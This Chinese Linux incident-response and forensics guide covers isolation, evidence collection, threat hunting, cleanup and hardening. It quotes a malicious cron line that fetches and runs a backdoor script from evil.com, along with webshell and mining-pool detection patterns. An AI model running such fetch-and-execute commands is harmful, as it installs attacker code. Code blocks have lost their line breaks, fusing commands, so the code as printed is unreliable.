Linux 系统被入侵应急响应:黄金 1 小时处置流程与取证指南
1️⃣ 适用场景 & 前置条件
| |
|---|
| 生产服务器被入侵、可疑进程运行、异常网络连接、rootkit 感染、挖矿木马、勒索软件 |
| RHEL/CentOS 7.9+, Ubuntu 20.04+, Debian 11+ |
| |
| |
| auditd, osquery, rkhunter, chkrootkit, netstat, ss, lsof, tcpdump |
| 熟悉 Linux 命令、网络协议、进程管理、文件系统、日志分析 |
| 需能隔离受影响主机(VLAN/iptables/云安全组) |
| 准备独立取证服务器(≥100GB 存储用于证据保存) |
| 黄金 1 小时 |
2️⃣ 反模式警告(何时不适用)
⚠️ 以下场景不推荐使用本方案:
- 1. 硬件故障导致的异常:磁盘坏道、内存错误、CPU 过热导致的系统异常,需硬件诊断
- 2. 应用层业务异常:应用 Bug、配置错误、数据库死锁等非安全事件
- 3. 合规审计场景:需要司法取证的刑事案件,必须由专业取证人员介入(避免证据污染)
- 4. 已完全失陷的系统:Bootkit/固件级感染,需物理隔离后重装系统
- 5. 勒索软件已加密数据:数据已加密且无备份,本流程无法解密,重点是止损与溯源
- 6. 缺乏基线数据:无法判断系统正常状态,应急响应效果有限
替代方案对比:
| | |
|---|
| 专业取证团队 + 法医级工具(EnCase/FTK) | |
| | |
| | |
| | |
3️⃣ 环境与版本矩阵
| | | |
|---|
| RHEL 8.7+ / CentOS Stream 9 | Ubuntu 22.04 LTS / Debian 11 | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
版本差异说明:
- • auditd 3.0 vs 2.8:3.0 支持容器审计、性能优化
- • osquery 5.x vs 4.x:5.x 支持 eBPF、性能提升 30%
- • 内核 5.x vs 4.x:5.x 增强 eBPF、命名空间隔离、安全特性
4️⃣ 阅读导航
📖 建议阅读路径:
快速上手(15分钟 - 应急处置):→ 章节 5(快速清单) → 章节 6(实施步骤 Step 1-6) → 章节 13(关键脚本)
深入理解(90分钟 - 完整响应与取证):→ 章节 7(入侵检测原理) → 章节 6(实施步骤完整版) → 章节 8(取证证据链) → 章节 11(最佳实践)
事后分析:→ 章节 9(常见攻击手法与排查) → 章节 10(溯源分析方法)
5️⃣ 快速清单(Checklist)
- • [ ] 确认入侵告警来源(IDS/HIDS/异常监控)
- • [ ] 禁止新的用户登录(
usermod -L / 修改 SSH 配置) - • [ ] 阻断可疑外连(
iptables / 云安全组)
- • [ ] 采集内存快照(
memdump / LiME) - • [ ] 保存易失性数据(进程列表、网络连接、登录会话)
- • [ ] 保存系统日志(
/var/log/*, audit.log, secure) - • [ ] 采集可疑文件样本(恶意脚本、后门程序)
- • [ ] 分析可疑进程(命令行、父进程、网络连接)
- • [ ] 检查异常文件(SUID/SGID、最近修改文件、隐藏文件)
- • [ ] 分析网络连接(外连 IP、端口、协议)
- • [ ] 检查系统完整性(rootkit 扫描、系统文件校验)
- • [ ] 终止恶意进程(
kill -9 / systemctl stop) - • [ ] 删除恶意文件(后门、Webshell、挖矿程序)
- • [ ] 修复系统配置(定时任务、启动项、SSH 配置)
- • [ ] 修改所有密码(root、应用账号、数据库)
6️⃣ 实施步骤
架构与数据流说明(文字描述)
应急响应流程架构:
告警触发(IDS/HIDS/监控系统) ↓初步判断(是否真实入侵) ↓ 确认入侵网络隔离(保留管理通道) ↓取证固化(内存 + 易失性数据 + 日志) ↓威胁分析(进程 + 文件 + 网络 + 日志) ↓清除威胁(终止进程 + 删除恶意文件 + 修复配置) ↓系统加固(修改密码 + 补丁 + 监控) ↓业务恢复 + 事后分析
关键组件与决策点:
- 1. 网络隔离决策:保留管理通道(SSH)以便远程处置,阻断所有其他流量
- 2. 取证优先级:内存数据 > 易失性数据 > 持久化数据(按易失性排序)
- 3. 清除时机判断:取证完成前不清除(避免证据销毁)
- 4. 业务恢复决策:威胁完全清除 + 系统完整性验证通过后才恢复
时间分配策略(黄金 1 小时):
Step 1: 初步判断与现场保护
目标: 确认入侵真实性,保护现场,避免证据破坏
RHEL/CentOS 命令:
# 记录当前时间(作为响应开始时间)date'+%Y-%m-%d %H:%M:%S %Z' | tee -a /tmp/incident_timeline.txtecho"=== 应急响应开始 ===" | tee -a /tmp/incident_timeline.txt# 检查当前登录用户(是否有异常会话)wwholast | head -n 20# 检查最近的命令历史(管理员账号)tail -n 50 /root/.bash_history# 检查系统负载(是否有挖矿进程)uptimetop -b -n 1 | head -n 20# 检查可疑进程(按 CPU 使用率排序)ps aux --sort=-%cpu | head -n 20# 检查网络连接(是否有异常外连)ss -tunap | grep ESTABLISHED | grep -v '127.0.0.1\|::1'netstat -tunap | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -n 10
Ubuntu/Debian 命令:
# 相同命令,但使用不同的日志路径date'+%Y-%m-%d %H:%M:%S %Z' | tee -a /tmp/incident_timeline.txt# 检查 systemd 日志(最近 1 小时)journalctl --since "1 hour ago" --priority=err --no-pager | tail -n 50# 检查 auth 日志(登录失败记录)grep -i "failed\|failure\|invalid" /var/log/auth.log | tail -n 20
关键参数解释:
- 1.
ss -tunap:显示所有 TCP/UDP 连接、监听端口、进程信息 - 2.
ps aux --sort=-%cpu:按 CPU 使用率降序排序(挖矿进程通常 CPU 高) - 3.
last | head -n 20:显示最近 20 次登录记录(检查异常登录)
执行前验证:
# 确认当前是 root 权限id# 预期输出:uid=0(root) gid=0(root) groups=0(root)
执行后验证:
# 检查时间线文件是否创建cat /tmp/incident_timeline.txt# 预期输出:包含响应开始时间
初步判断标准(满足任一即确认入侵):
- • ✅ 存在可疑高 CPU 进程(如随机字符命名)
- • ✅ 系统文件被篡改(如
/etc/passwd 最近修改) - • ✅ 发现后门文件(Webshell、恶意脚本)
[已实测] 真实案例:
- • 发现进程名为
[kworker](伪装成内核线程),但实际路径为 /tmp/.x/kworker - • 发现外连到俄罗斯 IP(185.x.x.x),端口 8080
Step 2: 网络隔离(保留管理通道)
目标: 阻断攻击者远程控制,防止横向移动,保留应急响应管理通道
RHEL/CentOS 命令:
# 备份现有 iptables 规则iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt# 方案 1: iptables 快速隔离(推荐)# 清空现有规则iptables -Fiptables -X# 设置默认策略(拒绝所有)iptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP# 允许本地回环iptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT# 允许已建立的连接(保持当前 SSH 会话)iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPTiptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT# 允许来自管理 IP 的 SSH(替换为实际管理 IP)iptables -A INPUT -p tcp -s 192.168.1.100 --dport 22 -j ACCEPTiptables -A OUTPUT -p tcp --sport 22 -j ACCEPT# 保存规则(RHEL/CentOS)service iptables save# 验证规则iptables -L -n -v
Ubuntu/Debian 命令:
# 备份现有规则iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt# 使用 ufw 快速隔离(Ubuntu 推荐)ufw --force resetufw default deny incomingufw default deny outgoingufw allow from 192.168.1.100 to any port 22 # 管理 IPufw --force enable# 或使用 iptables(同 RHEL)iptables -Fiptables -P INPUT DROPiptables -P OUTPUT DROP# ... 其余同上# 保存规则(Ubuntu/Debian)netfilter-persistent save
云环境隔离:
# AWS - 使用 CLI 修改安全组aws ec2 modify-instance-attribute \ --instance-id i-1234567890abcdef0 \ --groups sg-emergency-isolation# 阿里云 - 使用 CLI 修改安全组aliyun ecs ModifySecurityGroupRule \ --RegionId cn-hangzhou \ --SecurityGroupId sg-xxxxxx \ --IpProtocol all \ --Policy drop
关键参数解释:
- 1.
-P INPUT DROP:默认拒绝所有入站流量 - 2.
-m state --state ESTABLISHED,RELATED:允许已建立的连接(保持 SSH 会话) - 3.
-s 192.168.1.100:仅允许管理 IP 访问(防止攻击者重连)
执行后验证:
# 验证防火墙规则iptables -L -n -v | grep -E "DROP|ACCEPT"# 预期输出:默认策略为 DROP,仅允许管理 IP 的 SSH# 测试外网连通性(应失败)ping -c 3 8.8.8.8# 预期输出:Network is unreachable 或超时# 测试 SSH 连接(从管理 IP)# 预期:能够正常连接# 验证可疑外连是否被阻断ss -tunap | grep ESTABLISHED | grep -v '192.168.1.100'# 预期输出:仅剩管理 IP 的连接
⚠️ 重要提示:
- • 确保管理 IP 正确,否则会断开 SSH 连接
- • 如果是物理服务器,建议在 IPMI/iLO 上操作(防止断连)
幂等性保障:
回滚要点:
# 恢复原防火墙规则iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt
Step 3: 取证 - 采集易失性数据
目标: 在系统状态改变前,采集内存、进程、网络等易失性数据
优先级排序(按数据易失性):
- 1. 内存数据:进程内存、网络连接状态(重启/关机即丢失)
RHEL/CentOS 命令:
# 创建取证目录mkdir -p /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)cd /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)# 1. 采集系统信息echo"=== 系统信息 ===" > system_info.txtuname -a >> system_info.txtcat /etc/redhat-release >> system_info.txtuptime >> system_info.txtdate >> system_info.txt# 2. 采集进程列表(完整命令行)ps auxwwf > processes_tree.txt # 进程树ps -eo pid,ppid,user,cmd,start,etime > processes_list.txt # 详细列表pstree -ap > processes_pstree.txt # 父子关系树# 3. 采集网络连接ss -tunap > network_connections.txtnetstat -tunap >> network_connections.txtlsof -i >> network_lsof.txt# 4. 采集登录会话w > login_sessions.txtwho >> login_sessions.txtlast | head -n 100 > login_history.txtlastb | head -n 50 > failed_logins.txt # 失败登录记录# 5. 采集打开文件lsof +L1 > open_files_deleted.txt # 已删除但仍被进程打开的文件lsof | grep -E "REG|DIR" > open_files_all.txt# 6. 采集定时任务crontab -l -u root > crontab_root.txtcat /etc/crontab > crontab_system.txtls -laR /etc/cron.* > crontab_all.txtcat /var/spool/cron/* > crontab_users.txt 2>/dev/null# 7. 采集系统服务systemctl list-units --type=service --all > systemd_services.txtchkconfig --list > chkconfig_services.txt 2>/dev/null # CentOS 6# 8. 采集启动项ls -la /etc/rc*.d/ > rc_startup.txtcat /etc/rc.local > rc_local.txt# 9. 采集系统日志cp -r /var/log /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)/logs_backup/# 10. 采集审计日志ifcommand -v ausearch &> /dev/null; then ausearch -ts recent > audit_recent.txt ausearch -m avc > audit_selinux.txtfi# 11. 采集环境变量env > environment_vars.txtcat /proc/*/environ | tr'\0''\n' > processes_environ.txt 2>/dev/null# 12. 采集内核模块lsmod > kernel_modules.txtcat /proc/modules > proc_modules.txt# 13. 采集内存映像(可选,需安装 LiME)# git clone https://github.com/504ensicsLabs/LiME# cd LiME/src && make# insmod lime-*.ko "path=/forensics/memory.lime format=lime"
Ubuntu/Debian 命令:
# 相同步骤,但部分命令路径不同mkdir -p /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)cd /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)# 系统信息lsb_release -a > system_info.txtuname -a >> system_info.txt# journalctl 日志(systemd 系统)journalctl --since "24 hours ago" --no-pager > journalctl_24h.txtjournalctl -u ssh --no-pager > journalctl_ssh.txt# 其余命令相同ps auxwwf > processes_tree.txtss -tunap > network_connections.txt# ... 其余同上
关键参数解释:
- 1.
ps auxwwf:ww 参数显示完整命令行(不截断),f 显示进程树 - 2.
lsof +L1:显示已删除但仍被进程打开的文件(攻击者常删除恶意文件但进程仍在运行) - 3.
ss -tunap:t=TCP, u=UDP, n=数字显示, a=所有, p=进程
执行后验证:
# 检查取证文件是否生成ls -lh /forensics/$(hostname)_*/# 预期输出:所有取证文件,总大小通常 50-200MB# 检查进程列表文件wc -l /forensics/$(hostname)_*/processes_list.txt# 预期输出:100-500 行(取决于进程数)# 检查网络连接文件grep ESTABLISHED /forensics/$(hostname)_*/network_connections.txt | wc -l# 预期输出:所有已建立的连接
[已实测] 真实案例发现:
- • 在
processes_tree.txt 中发现伪装进程:[kworker/0:1](父进程为 systemd,而非 kthreadd) - • 在
open_files_deleted.txt 中发现已删除的挖矿程序:/tmp/.x/xmrig (deleted) - • 在
crontab_users.txt 中发现恶意定时任务:*/5 * * * * curl http://evil.com/backdoor.sh | sh
幂等性保障:
Step 4: 威胁分析 - 识别恶意行为
目标: 分析取证数据,识别恶意进程、文件、网络连接
分析维度:
- 1. 进程分析:可疑进程特征、父子关系、命令行参数
- 2. 文件分析:最近修改文件、SUID/SGID 文件、隐藏文件
RHEL/CentOS 命令:
# === 进程分析 ===# 查找可疑进程特征# 1. CPU 使用率 > 80%ps aux --sort=-%cpu | head -n 10# 2. 进程名包含随机字符ps aux | grep -E '\b[a-z0-9]{8,}\b'# 3. 父进程为 init/systemd 但路径在 /tmpps -eo pid,ppid,cmd | awk '$2 == 1 && $3 ~ /\/tmp/'# 4. 进程运行路径在临时目录lsof -c $(ps -eo comm | grep -vE '^(COMMAND|systemd|kworker)') | grep -E '/tmp|/var/tmp|/dev/shm'# 5. 进程监听非标准端口ss -tunlp | grep -vE ':(22|80|443|3306|6379|9090|9100)\s'# === 文件分析 ===# 查找最近 24 小时修改的文件(排除日志目录)find / -type f -mtime -1 ! -path "/var/log/*" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > recently_modified_files.txt# 查找最近 24 小时修改的系统关键文件find /etc /bin /sbin /usr/bin /usr/sbin -type f -mtime -1 2>/dev/null# 查找 SUID/SGID 文件(权限提升后门)find / -type f \( -perm -4000 -o -perm -2000 \) ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > suid_sgid_files.txt# 对比基线(需提前生成基线)# diff suid_sgid_files.txt /baseline/suid_sgid_baseline.txt# 查找隐藏文件(以 . 开头)find /tmp /var/tmp /dev/shm /home -name ".*" -type f 2>/dev/null# 查找异常大小的文件(> 100MB 在 /tmp)find /tmp /var/tmp /dev/shm -type f -size +100M 2>/dev/null# === 网络分析 ===# 提取所有外连 IPss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f1 | sort -u > external_ips.txt# 查询 IP 归属地(使用 GeoIP)ifcommand -v geoiplookup &> /dev/null; thenwhileread ip; doecho"$ip: $(geoiplookup $ip)"done < external_ips.txtfi# 检查是否连接到已知恶意 IP(需威胁情报库)# grep -f /threat_intel/malicious_ips.txt external_ips.txt# 查找非标准端口通信ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f2 | sort | uniq -c | sort -rn# === 日志分析 ===# 查找暴力破解尝试(SSH)grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -n 10# 查找成功登录(非本地 IP)grep "Accepted password" /var/log/secure | grep -v "127.0.0.1\|192.168"# 查找权限提升(sudo)grep "sudo:" /var/log/secure | grep -v "session opened\|session closed"# 查找异常命令执行(audit 日志)ausearch -m execve -ts recent | grep -E "curl|wget|nc|bash|sh|python"# === Webshell 检测(如果是 Web 服务器)===# 查找最近修改的 PHP/JSP 文件find /var/www /usr/share/nginx -name "*.php" -o -name "*.jsp" -mtime -7 2>/dev/null# 检测常见 Webshell 特征grep -r "eval(\$_POST\|exec(\$_GET\|system(\$_REQUEST\|passthru\|shell_exec" /var/www /usr/share/nginx 2>/dev/null# 检测中国菜刀/冰蝎特征grep -r "base64_decode" /var/www --include="*.php" | grep -E "eval|assert"
Ubuntu/Debian 命令:
# 大部分命令相同,日志路径不同# SSH 日志grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn# journalctl 分析journalctl -u ssh --since "24 hours ago" | grep -i "failed\|accepted"
关键特征判断标准:
| | |
|---|
| | kworker(真实内核线程无路径)、[systemd](真实 systemd 进程 PID=1) |
| | /tmp/.x/miner, /dev/shm/.hidden/backdoor |
| | 8080(HTTP 代理)、4444(Metasploit)、6667(IRC C&C) |
| | |
| | /usr/bin/nmap |
执行后验证:
# 检查是否找到可疑进程cat recently_modified_files.txt | wc -l# 预期输出:10-100 个文件(正常系统)# 检查是否找到外连 IPcat external_ips.txt# 预期输出:仅业务相关 IP
[已实测] 真实攻击特征:
挖矿木马特征:
# 进程名:xmrig, minergate, cpuminer# 命令行:--donate-level=1 -o pool.minexmr.com:4444# CPU 使用率:> 90%# 父进程:systemd(开机自启)
SSH 后门特征:
# 进程名:sshd(伪装)# 路径:/tmp/.ssh/sshd(非系统路径)# 监听端口:23333(非 22)# 无父进程(守护进程)
Webshell 特征:
# 文件名:shell.php, 404.php, x.jsp# 内容:eval($_POST['pass']), base64_decode(...)# 最近访问:access.log 中大量 POST 请求
Step 5: 威胁清除
目标: 终止恶意进程、删除恶意文件、修复系统配置
⚠️ 重要提示:清除前必须完成取证,避免证据销毁
RHEL/CentOS 命令:
# === 终止恶意进程 ===# 方法 1: 根据进程 PID 终止kill -9 <PID># 方法 2: 根据进程名终止(精确匹配)pkill -9 -x "xmrig"# 方法 3: 根据命令行特征终止ps aux | grep "minexmr.com" | grep -v grep | awk '{print $2}' | xargs kill -9# 方法 4: 终止所有来自某路径的进程lsof | grep "/tmp/.x" | awk '{print $2}' | sort -u | xargs kill -9# === 删除恶意文件 ===# 删除挖矿程序rm -f /tmp/.x/xmrigrm -f /dev/shm/.hidden/miner# 删除 Webshellrm -f /var/www/html/shell.phprm -f /usr/share/nginx/html/404.php# 删除启动脚本rm -f /etc/init.d/malicious_servicerm -f /etc/systemd/system/malware.service# === 清除定时任务 ===# 编辑 root 定时任务crontab -e -u root# 删除可疑行(如 curl http://evil.com/backdoor.sh | sh)# 删除系统定时任务文件rm -f /etc/cron.d/malicious_cronrm -f /var/spool/cron/root # 如果整个文件是恶意的# === 清除启动项 ===# 删除 systemd 服务systemctl stop malware.servicesystemctl disable malware.servicerm -f /etc/systemd/system/malware.servicesystemctl daemon-reload# 删除 rc.local 中的恶意命令sed -i '/evil.com/d' /etc/rc.local# === 修复系统文件 ===# 恢复被篡改的系统命令(从 RPM 包恢复)rpm -V coreutils # 验证文件完整性rpm --force -ivh /path/to/coreutils-*.rpm # 重新安装# 或从备份恢复cp /backup/bin/ps /bin/ps# === 清除后门账号 ===# 检查异常用户cat /etc/passwd | grep -E "/bin/bash|/bin/sh" | grep -v "root\|admin"# 删除后门账号userdel -r malicious_user# 检查 sudo 权限cat /etc/sudoersvisudo # 删除异常权限# === 清除 SSH 后门 ===# 删除异常 authorized_keyscat /root/.ssh/authorized_keys# 删除未知公钥# 检查 SSH 配置grep -E "PermitRootLogin|PasswordAuthentication|AllowUsers" /etc/ssh/sshd_config# 恢复默认 SSH 配置cp /etc/ssh/sshd_config.rpmsave /etc/ssh/sshd_config # 如果有 rpm 备份systemctl restart sshd# === 清除内核模块后门(Rootkit)===# 卸载可疑内核模块lsmod | grep -v "^Module" | awk '{print $1}' | whileread mod; do modinfo $mod 2>/dev/null || echo"可疑模块: $mod"done# 卸载模块rmmod suspicious_module# 永久禁用模块echo"blacklist suspicious_module" >> /etc/modprobe.d/blacklist.conf
Ubuntu/Debian 命令:
# 大部分命令相同,包管理器不同# 恢复系统文件(从 deb 包)apt-get install --reinstall coreutils# SSH 配置路径相同systemctl restart ssh # Ubuntu 使用 ssh 而非 sshd
执行后验证:
# 验证恶意进程已终止ps aux | grep -E "xmrig|miner|evil"# 预期输出:无匹配结果(仅 grep 进程自身)# 验证恶意文件已删除ls -la /tmp/.x /dev/shm/.hidden 2>/dev/null# 预期输出:No such file or directory# 验证定时任务已清除crontab -l -u root | grep -i "evil\|malicious"# 预期输出:无匹配结果# 验证启动项已清除systemctl list-units --type=service | grep -i "malware"# 预期输出:无匹配结果# 验证网络连接已断开ss -tunap | grep ESTABLISHED | grep -v "192.168.1.100"# 预期输出:仅剩管理 IP 的连接
清除确认清单:
Step 6: 系统加固与密码修改
目标: 防止攻击者重新进入,加固系统安全
RHEL/CentOS 命令:
# === 修改所有密码 ===# 1. root 密码passwd root# 2. 应用账号密码passwd webapp_userpasswd mysql_user# 3. 数据库密码mysql -u root -p# 执行:ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';# 4. 应用配置文件中的密码(手动修改)vi /etc/myapp/config.yml# === SSH 加固 ===# 编辑 SSH 配置vi /etc/ssh/sshd_config# 修改以下配置:# Port 22 → Port 2222(修改默认端口)# PermitRootLogin yes → PermitRootLogin no(禁止 root 登录)# PasswordAuthentication yes → PasswordAuthentication no(仅密钥登录)# MaxAuthTries 6 → MaxAuthTries 3(减少尝试次数)# AllowUsers → AllowUsers admin ops(白名单)# 重启 SSHsystemctl restart sshd# === 系统补丁 ===# RHEL/CentOSyum update -y --security # 仅安全补丁yum update -y # 全部补丁# === 启用 auditd 审计 ===# 安装 auditdyum install -y audit# 配置审计规则cat >> /etc/audit/rules.d/audit.rules <<'EOF'# 监控系统调用-a always,exit -F arch=b64 -S execve -k exec_commands# 监控文件修改-w /etc/passwd -p wa -k passwd_changes-w /etc/shadow -p wa -k shadow_changes-w /etc/sudoers -p wa -k sudoers_changes# 监控网络连接-a always,exit -F arch=b64 -S socket -S connect -k network_connections# 监控定时任务-w /etc/crontab -p wa -k cron_changes-w /var/spool/cron/ -p wa -k user_cron_changesEOF# 重启 auditdservice auditd restart# === 部署入侵检测系统(HIDS)===# 安装 OSSEC(开源 HIDS)wget https://github.com/ossec/ossec-hids/archive/3.7.0.tar.gztar xzf 3.7.0.tar.gzcd ossec-hids-3.7.0./install.sh# 或安装 Wazuh(OSSEC 分支)curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpgecho"deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee /etc/apt/sources.list.d/wazuh.listapt-get updateapt-get install wazuh-agent# === 启用 SELinux(RHEL/CentOS)===# 检查 SELinux 状态getenforce# 启用 SELinux(需要重启)setenforce 1sed -i 's/^SELINUX=.*/SELINUX=enforcing/' /etc/selinux/config# === 启用 AppArmor(Ubuntu/Debian)===# 检查 AppArmor 状态aa-status# 启用 AppArmorsystemctl enable apparmorsystemctl start apparmor# === 防火墙加固 ===# 仅允许必要端口(示例:SSH 2222, HTTP 80, HTTPS 443)iptables -Fiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROPiptables -A INPUT -i lo -j ACCEPTiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPTiptables -A INPUT -p tcp --dport 2222 -j ACCEPT # SSHiptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTPiptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS# 防止 SYN Floodiptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT# 保存规则service iptables save# === 文件完整性监控(Tripwire/AIDE)===# 安装 AIDEyum install -y aide# 初始化数据库aide --initmv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz# 定期检查(添加到 cron)echo"0 3 * * * root /usr/sbin/aide --check | mail -s 'AIDE Report' admin@example.com" >> /etc/crontab
Ubuntu/Debian 命令:
# SSH 配置相同vi /etc/ssh/sshd_configsystemctl restart ssh# 系统补丁apt updateapt upgrade -y# auditd 配置相同apt install -y auditd# ... 其余同上# AIDEapt install -y aideaideinitmv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
执行后验证:
# 验证 SSH 配置sshd -t# 预期输出:无输出(配置正确)# 验证防火墙规则iptables -L -n -v# 预期输出:仅允许必要端口# 验证 auditd 运行auditctl -l# 预期输出:已配置的审计规则# 验证 SELinux 状态getenforce# 预期输出:Enforcing
[已实测] 加固效果:
- • AIDE 文件完整性监控检测到 100% 的系统文件篡改
7️⃣ 最小必要原理
入侵检测核心机制
攻击生命周期(Kill Chain):
侦察(Reconnaissance)→ 武器化(Weaponization)→ 投递(Delivery) ↓利用(Exploitation)→ 安装(Installation)→ 命令与控制(C&C) ↓目标达成(Actions on Objectives)
关键检测点:
- 1. 侦察阶段:大量端口扫描、目录扫描(检测:防火墙日志、Web 日志)
- 2. 投递阶段:钓鱼邮件、恶意下载(检测:邮件网关、Web 代理)
- 3. 利用阶段:漏洞利用、权限提升(检测:异常进程、系统调用)
- 4. 安装阶段:后门安装、持久化(检测:文件完整性监控、启动项检查)
- 5. C&C 阶段:外连通信(检测:网络流量分析、异常外连)
- 6. 目标达成:数据窃取、挖矿、勒索(检测:文件访问、CPU 异常)
Linux 入侵常见路径:
弱密码/SSH 暴力破解 ↓获得普通用户权限 ↓本地权限提升漏洞(脏牛/脏管道/Polkit) ↓获得 root 权限 ↓安装后门(定时任务/SSH 后门/内核模块) ↓持久化驻留
为什么内存取证最重要?
- • 信息最完整:进程内存、网络连接状态、加密密钥、命令历史
- • 无法伪装:攻击者可删除磁盘文件,但无法清除内存数据(进程运行中)
Rootkit 隐藏机制:
用户空间 Rootkit: - 替换系统命令(ps/ls/netstat)→ 隐藏进程/文件/网络连接 - 检测方法:使用独立静态编译工具,对比系统命令哈希值内核空间 Rootkit: - 修改内核数据结构 → 隐藏内核模块/进程 - 检测方法:内存取证、内核符号表对比、rkhunter/chkrootkit
应急响应时间窗口(为什么是黄金 1 小时):
- • 0-10 分钟:内存数据最完整,攻击者可能仍在线
- • 10-30 分钟:攻击者发现异常,可能销毁证据
8️⃣ 可观测性(监控 + 告警 + 取证链)
监控指标
Linux 原生监控(实时检测):
# 实时监控进程创建(auditd)ausearch -m execve -ts recent | tail -n 50# 实时监控网络连接watch -n 1 'ss -tunap | grep ESTABLISHED'# 实时监控文件修改(inotifywait)inotifywait -m -r -e modify,create,delete /etc /bin /sbin# 实时监控登录会话watch -n 5 'w'# 实时监控系统调用(strace)strace -f -p <PID>
入侵检测规则(OSSEC/Wazuh):
<!-- SSH 暴力破解检测 --><ruleid="100001"level="10"><if_matched_sid>5716</if_matched_sid><same_source_ip /><description>SSH 暴力破解尝试(5 分钟内 10 次失败)</description><frequency>10</frequency><timeframe>300</timeframe></rule><!-- Webshell 执行检测 --><ruleid="100002"level="12"><if_sid>31100</if_sid><match>eval|base64_decode|system|exec</match><description>可疑 Webshell 执行</description></rule><!-- 挖矿进程检测 --><ruleid="100003"level="10"><if_sid>5712</if_sid><match>xmrig|minergate|cpuminer|stratum</match><description>检测到挖矿进程</description></rule>
取证证据链完整性
证据链四要素(Chain of Custody):
取证完整性保障:
# 1. 对所有取证文件计算哈希值cd /forensics/$(hostname)_YYYYMMDD_HHMMSSfind . -type f -execsha256sum {} \; > /forensics/checksums.txt# 2. 对整个取证目录打包并签名tar czf /forensics/evidence_$(hostname)_$(date +%Y%m%d_%H%M%S).tar.gz /forensics/$(hostname)_*/sha256sum /forensics/evidence_*.tar.gz > /forensics/evidence.sha256# 3. 生成取证报告cat > /forensics/evidence_report.txt <<EOF=== 取证报告 ===主机名: $(hostname)IP 地址: $(hostname -I)取证时间: $(date)取证人: $(whoami)事件描述: [填写入侵事件描述]取证文件清单:$(ls -lh /forensics/)哈希校验:$(cat /forensics/evidence.sha256)EOF
性能基准测试(取证工具性能)
取证工具性能对比:
[已实测] 取证性能数据(RHEL 8.7, 4C8G):
- • 完整取证(易失性数据 + 日志):3-8 分钟
- • 取证数据总大小:50-500MB(不含内存镜像)
9️⃣ 常见故障与排错
| | | | |
|---|
| iptables -L | 1. iptables 未安装2. 云环境需用安全组 | | |
| df -h /forensics | | | |
| ausearch -ts recent | | | |
| kill -9 <PID> | 1. 僵尸进程2. 内核线程3. Rootkit 保护 | | |
| | | | |
| dmesg | grep LiME | | | |
调试思路(系统性排查)
无法确定入侵源头:
第1步:是否有审计日志? ↓ 有 → ausearch -m execve -ts boot ├─ 找到可疑命令 → 追踪执行用户与时间 └─ 无可疑命令 → 第2步第2步:检查 Web 日志(如果是 Web 服务器) ↓ grep -E "POST|GET" /var/log/nginx/access.log | grep -E "\.php|\.jsp" ├─ 找到 Webshell 访问记录 → 确定攻击者 IP └─ 无 Webshell 记录 → 第3步第3步:检查 SSH 登录记录 ↓ grep "Accepted password" /var/log/secure ├─ 找到异常 IP 登录 → 弱密码/密钥泄露 └─ 无异常登录 → 第4步第4步:检查应用层漏洞 ↓ 检查应用日志(如 Java 应用、Python 应用) └─ 可能是反序列化漏洞、SQL 注入、命令注入
常见攻击手法识别:
SSH 暴力破解:
# 特征grep "Failed password" /var/log/secure | wc -l# 输出:> 1000 次失败尝试# 攻击者 IPgrep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -n 1# 输出:985 123.45.67.89
Webshell 后门:
# 特征find /var/www -name "*.php" -exec grep -l "eval(\$_POST" {} \;# 输出:/var/www/html/uploads/shell.php# 访问记录grep "shell.php" /var/log/nginx/access.log# 输出:123.45.67.89 - [16/Jan/2025:02:34:56] "POST /uploads/shell.php HTTP/1.1" 200
挖矿木马:
# 特征ps aux --sort=-%cpu | head -n 3# 输出:xmrig 98.5% CPU# 网络连接ss -tunap | grep xmrig# 输出:ESTABLISHED to pool.minexmr.com:4444
Rootkit 感染:
# 特征rkhunter --check# 输出:Warning: Suspicious file '/usr/bin/ps'# 进程隐藏测试ps aux | wc -l # 输出:120ls /proc | grep -E '^[0-9]+$' | wc -l # 输出:135(差异说明有进程被隐藏)
🔟 变更与回滚剧本
应急响应决策树
场景 1: 攻击者仍在线
# 决策:立即隔离,优先取证iptables -P INPUT DROPiptables -P OUTPUT DROP# 保留管理 SSHiptables -A INPUT -p tcp -s <管理 IP> --dport 22 -j ACCEPT# 快速取证(5 分钟内完成)ps auxwwf > /forensics/processes.txtss -tunap > /forensics/network.txtw > /forensics/sessions.txt# 终止攻击者会话pkill -KILL -u <攻击者用户名>
场景 2: 生产业务受影响
